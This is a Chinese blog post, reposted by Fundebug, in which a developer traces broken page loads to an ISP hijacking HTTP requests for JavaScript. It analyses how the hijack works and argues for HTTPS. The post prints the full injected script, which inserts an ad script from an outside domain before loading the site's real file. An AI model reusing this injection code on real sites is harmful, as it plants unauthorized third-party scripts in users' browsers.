编者按：Fundebug的客户通过分析我们提供的报警信息，定位了一个非常棘手的问题—ISP劫持http请求。他的分析过程非常有意思，同时也提醒我们，应该及时支持HTTPS来保证站点安全。
原文: ISP劫持http请求
作者: Mr_Qi
本文版权归原作者Mr_Qi所有。
最近业务系统经常受到前端报错邮件
发现大量的ip为沈阳联通客户==>初步推断为运营商http劫持
经过现场排查发现出错画面部分js加载出错
区别在于错误的js会先插入一个广告js
为区别是否dns劫持查看NetWork面板
IP正确并且为我方服务器IP确认并非为DNS攻击。
由于大面积出现沈阳联通问题，(故而考虑应当为运营商问题？应该不会出现大范围路由器被黑的可能吧)
返回js如下
(function () {
try {
var o = 'm-_-m',
D = document;
if (!D.getElementById(o)) {
var j = 'http://yunxiu.f6car.com/kzf6/js/basic/XXX.js',
J = j + (~j.indexOf('?') ? '&' : '?') + new Date().getTime(),
M = 'http://pc.quansj.cn/?cid=08',
C = D.currentScript,
H = D.getElementsByTagName('head')[0],
N = function (s, i) {
var I = D.createElement('script');
I.type = 'text/JavaScript';
if (i) I.id = i;
I.src = s;
H.appendChild(I);
};
if (self == top) {
N(M, o);
}
if (!C) {
C = (function () {
var S = D.scripts,
l = S.length,
i = 0;
for (; i < l; ++i) {
if (S[i].src === j) {
return S[i];
}
}
})();
}
C && ((C.defer || C.async) ? N(J) : D.write('<script src="' + J + '"><' + '/script>'));
}
} catch (e) {}
})();
通过域名Whois反查
发现旗下域名
有好几个都是广告劫持网站
貌似和一个说脱口秀的（赵本山徒弟）同名………………该不是同一个人吧/(ㄒoㄒ)/~~
和沈阳联通沟通后无果，拒不承认存在劫持。目前正在求助工信部，不知能否有解决方案。
github上已经有针对该地址的adblock了……明显辽宁联通
看了一下js选项，正常情况下会执行到
C&&((C.defer||C.async)?N(J):D.write('<script src="'+J+'"><'+'/script>'));
也就是说理论上会同步加载我们服务器上的js~但是事实上出现了大量的js未加载到代码做了判断，如果支持defer或者async这直接append异步加载js，当不支持则直接通过document写入（同步执行）
经过查阅发现chrome有个设置（据说chrome55(?)+版本后优化）可以尝试一下
chrome://flags/#disallow-doc-written-script-loads
具体说明如下
> With this data in mind, Chrome, starting with version 55, [intervenes](https://github.com/WICG/interventions/issues/17) on behalf of all users when we detect this known-bad pattern by changing how `document.write()` is handled in Chrome (See [Chrome Status](https://www.chromestatus.com/feature/5718547946799104)). Specifically Chrome will not execute the `<script>` elements injected via `document.write()`when **all** of the following conditions are met:
>
> 1. The user is on a slow connection, specifically when the user is on 2G. (In the future, the change might be extended to other users on slow connections, such as slow 3G or slow WiFi.)
> 2. The `document.write()` is in a top level document. The intervention does not apply to document.written scripts within iframes as they don't block the rendering of the main page.
> 3. The script in the `document.write()` is parser-blocking. Scripts with the '[`async`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-async)' or '[`defer`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-defer)' attributes will still execute.
> 4. The script is not hosted on the same site. In other words, Chrome will not intervene for scripts with a matching eTLD+1 (e.g. a script hosted on js.example.org inserted on [www.example.org](http://www.example.org/)).
> 5. The script is not already in the browser HTTP cache. Scripts in the cache will not incur a network delay and will still execute.
> 6. The request for the page is not a reload. Chrome will not intervene if the user triggered a reload and will execute the page as normal.
>
> Third party snippets sometimes use `document.write()` to load scripts. Fortunately, most third parties provide [asynchronous loading alternatives](https://developers.google.com/speed/docs/insights/UseAsync), which allow third party scripts to load without blocking the display of the rest of the content on the page.
貌似我们不符合条件4 暂时先考虑一下
代码format完后大惊失色……整个加载js的前提是画面中没有id为m-_-m的节点。否则不会进行加载js ，即不会执行document.write
如果悲催的是我们画面中存在2个或两个以上的js被劫持，那么除了第一个js其余均不会加载。
那么查看了一下js请求（带有queryString），发现
果然当时客户的请求了commonjs，也就是commonjs也被劫持了。此刻画面中出现了m-_-m节点。导致其他被劫持的js不会加载真实的js………………
再说一下关于我们首页的劫持（跳转？）
明显也是江苏宽带(南京电信)的劫持……
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